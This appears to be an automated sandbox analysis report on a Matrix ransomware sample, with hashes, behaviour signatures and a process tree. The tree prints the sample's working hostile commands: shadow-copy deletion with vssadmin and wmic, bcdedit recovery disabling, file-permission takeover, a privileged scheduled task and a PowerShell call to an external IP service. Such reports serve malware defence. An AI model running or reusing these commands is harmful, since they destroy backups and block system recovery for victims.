Overview

overview

10

Static

static

66448fe45b...3f.exe

windows7_x64

10

66448fe45b...3f.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    154s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    05/03/2022, 21:05

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General

  • Target

    66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f.exe

  • Size

    2.6MB

  • MD5

    bd90a796396be691b806fee34bdcc27b

  • SHA1

    8477fdec639e673dfc586e7a37cb2049d0927601

  • SHA256

    66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f

  • SHA512

    96023528edacfe8afd923839a8e964e72387afa82ceab7f965cb4149375ca1aaff266d0b7213c697e1719786f466a4d27b201534055df0f11734bb632583bccc

Score
10/10
matrixdiscoveryevasionpersistenceransomwaresuricataupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f.exe
    "C:\Users\Admin\AppData\Local\Temp\66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:176
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\66448fe45bdb015c87688470a2e98f1fdef839906a517a9c37da1d96b497b53f.exe" "C:\Users\Admin\AppData\Local\Temp\NWvRl3IN.exe"
      2⤵
        PID:3796
      • C:\Users\Admin\AppData\Local\Temp\NWvRl3IN.exe
        "C:\Users\Admin\AppData\Local\Temp\NWvRl3IN.exe" -n
        2⤵
        • Executes dropped EXE
        PID:2536
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\WIb105c5.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1132
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1692
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\E1anmCsT.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4044
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\E1anmCsT.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:3756
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:3152
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:2920
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\27hNK43v.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3416
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\27hNK43v.vbs"
              3⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:2724
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\9JN9p7fh.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1648
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\9JN9p7fh.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:1020
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:1924
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Run /I /tn DSHCA
                  5⤵
                    PID:1200
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Sz6U5mIr.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1116
              • C:\Windows\SysWOW64\attrib.exe
                attrib -R -A -S "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
                3⤵
                • Views/modifies file attributes
                PID:3444
              • C:\Windows\SysWOW64\cacls.exe
                cacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
                3⤵
                  PID:3428
                • C:\Windows\SysWOW64\takeown.exe
                  takeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
                  3⤵
                  • Modifies file permissions
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3796
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c dL2ZWDdC.exe -accepteula "store.db" -nobanner
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1800
                  • C:\Users\Admin\AppData\Local\Temp\dL2ZWDdC.exe
                    dL2ZWDdC.exe -accepteula "store.db" -nobanner
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:260
                    • C:\Users\Admin\AppData\Local\Temp\dL2ZWDdC64.exe
                      dL2ZWDdC.exe -accepteula "store.db" -nobanner
                      5⤵
                      • Drops file in Drivers directory
                      • Executes dropped EXE
                      • Enumerates connected drives
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3248
            • C:\Windows\SYSTEM32\cmd.exe
              C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\9JN9p7fh.bat"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:3380
              • C:\Windows\system32\vssadmin.exe
                vssadmin Delete Shadows /All /Quiet
                2⤵
                • Interacts with shadow copies
                PID:3908
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic SHADOWCOPY DELETE
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3516
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:224
                • C:\Windows\system32\vssadmin.exe
                  "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
                  3⤵
                  • Interacts with shadow copies
                  PID:740
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} recoveryenabled No
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:1776
              • C:\Windows\system32\bcdedit.exe
                bcdedit /set {default} bootstatuspolicy ignoreallfailures
                2⤵
                • Modifies boot configuration data using bcdedit
                PID:208
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN DSHCA /F
                2⤵
                  PID:3332
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3568

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/224-159-0x00007FFAABE20000-0x00007FFAAC8E1000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/224-166-0x0000019A7E226000-0x0000019A7E228000-memory.dmp

                Filesize

                8KB

                Download

              • memory/224-162-0x0000019A64A00000-0x0000019A64A22000-memory.dmp

                Filesize

                136KB

                Download

              • memory/224-161-0x0000019A7E223000-0x0000019A7E225000-memory.dmp

                Filesize

                8KB

                Download

              • memory/224-160-0x0000019A7E220000-0x0000019A7E222000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1692-141-0x0000000007710000-0x0000000007776000-memory.dmp

                Filesize

                408KB

                Download

              • memory/1692-139-0x0000000006D50000-0x0000000006D72000-memory.dmp

                Filesize

                136KB

                Download

              • memory/1692-138-0x00000000069C2000-0x00000000069C3000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1692-137-0x00000000069C0000-0x00000000069C1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1692-136-0x0000000073AB0000-0x0000000074260000-memory.dmp

                Filesize

                7.7MB

                Download

              • memory/1692-135-0x0000000007000000-0x0000000007628000-memory.dmp

                Filesize

                6.2MB

                Download

              • memory/1692-140-0x0000000007630000-0x0000000007696000-memory.dmp

                Filesize

                408KB

                Download

              • memory/1692-143-0x0000000009560000-0x0000000009BDA000-memory.dmp

                Filesize

                6.5MB

                Download

              • memory/1692-142-0x0000000007D30000-0x0000000007D4E000-memory.dmp

                Filesize

                120KB

                Download

              • memory/1692-145-0x00000000069C5000-0x00000000069C7000-memory.dmp

                Filesize

                8KB

                Download

              • memory/1692-134-0x00000000043F0000-0x0000000004426000-memory.dmp

                Filesize

                216KB

                Download

              • memory/1692-144-0x0000000008210000-0x000000000822A000-memory.dmp

                Filesize

                104KB

                Download